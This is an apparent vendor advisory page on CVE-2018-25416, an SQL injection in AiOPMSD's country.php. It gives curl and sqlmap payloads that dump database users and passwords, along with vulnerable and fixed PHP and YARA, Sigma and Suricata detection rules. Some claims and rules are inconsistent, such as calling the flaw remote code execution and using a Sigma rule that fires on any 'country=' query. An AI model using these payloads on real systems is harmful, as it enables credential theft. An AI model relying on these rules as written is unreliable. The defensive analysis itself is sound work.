CVE-2018-25416
Executive Summary
CVE-2018-25416 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management system. The flaw resides in the country.php endpoint, where the country parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can send crafted GET requests to extract sensitive database information, including usernames, database names, and version details. With a CVSS score of 8.2, this vulnerability poses a high risk to confidentiality and integrity. No official patch exists, and the vendor status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases risk for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone PHP application (AiOPMSD Final 1.0.0). No supply chain implications are identified.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Potential data modification via SQL injection.
- Availability (A): High (H) – Could lead to denial of service or data destruction.
Threat Level: Critical – Unauthenticated remote code execution via SQL injection.
Deep Dive & Mechanics
The vulnerability exists in country.php, which processes GET requests with a country parameter. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL commands by appending malicious payloads to the country parameter. For example:
GET /country.php?country=US' OR '1'='1' --
This payload closes the original query and adds a tautology, potentially returning all records. More advanced payloads can extract database metadata:
GET /country.php?country=US' UNION SELECT username, password FROM users --
The lack of input validation and prepared statements allows attackers to execute arbitrary SQL commands, leading to data exfiltration, authentication bypass, or even remote code execution if the database supports file operations.
Vulnerable vs. Patched Code
Vulnerable Code (AiOPMSD Final 1.0.0):
<?php
$country = $_GET['country'];
$query = "SELECT * FROM countries WHERE name = '$country'";
$result = mysqli_query($conn, $query);
?>
Patched Code (Hypothetical):
<?php
$country = $_GET['country'];
$stmt = $conn->prepare("SELECT * FROM countries WHERE name = ?");
$stmt->bind_param("s", $country);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements with parameterized queries, preventing SQL injection. No official patch exists for this CVE.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install AiOPMSD Final 1.0.0 on a local server (e.g., XAMPP or LAMP).
- Ensure the
country.phpendpoint is accessible.
Exploitation Steps:
- Basic SQL Injection:
curl "http://target/country.php?country=US' OR '1'='1' -- " - Extract Database Version:
curl "http://target/country.php?country=US' UNION SELECT @@version, NULL -- " - Extract Usernames:
curl "http://target/country.php?country=US' UNION SELECT user, password FROM mysql.user -- " - Automated Exploitation with sqlmap:
sqlmap -u "http://target/country.php?country=US" --batch --dbs
Note: No public exploit-db code is available for this CVE.
Blue Team (Defensive)
Detection:
- Monitor HTTP GET requests to
country.phpfor unusual patterns (e.g.,',--,UNION,SELECT). - Use WAF rules to block SQL injection payloads.
- Enable database query logging to detect anomalous queries.
Mitigation:
- Immediately upgrade to a patched version if available.
- Implement input validation and parameterized queries.
- Restrict database user privileges to least privilege.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/country.phpwithcountryparameter containing SQL keywords (UNION,SELECT,OR,--). - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- HTTP GET requests to
- File IOCs:
- Modified
country.phpfile (if attacker uploads webshell). - Suspicious entries in web server access logs (e.g.,
country=US' OR '1'='1').
- Modified
- Database IOCs:
- Unexpected queries in database logs.
- New user accounts or modified data.
Detection Engineering
YARA Rule
rule CVE_2018_25416_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2018-25416 in AiOPMSD"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2018-25416"
strings:
$s1 = "country.php" nocase
$s2 = "country=" nocase
$s3 = "' OR " nocase
$s4 = "UNION SELECT" nocase
$s5 = "--" nocase
condition:
all of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule
title: SQL Injection Attempt on AiOPMSD country.php
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection payloads in GET requests to country.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "country="
- "' OR "
- "UNION SELECT"
- "--"
condition: selection
falsepositives:
- Legitimate use of single quotes in country names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2018-25416 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/country.php"; http_uri; content:"country="; http_uri; pcre:"/(\x27 OR |UNION SELECT|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove
country.phpif not essential. - Apply virtual patching via WAF (e.g., ModSecurity rules blocking SQL injection).
- Restrict database user permissions to read-only if possible.
- Disable or remove
Long-term Fix:
- Rewrite
country.phpusing prepared statements or parameterized queries. - Implement input validation (allow only alphanumeric characters for country names).
- Monitor vendor for official patch; if none, consider migrating to alternative software.
- Rewrite
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable detailed logging for web and database servers.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert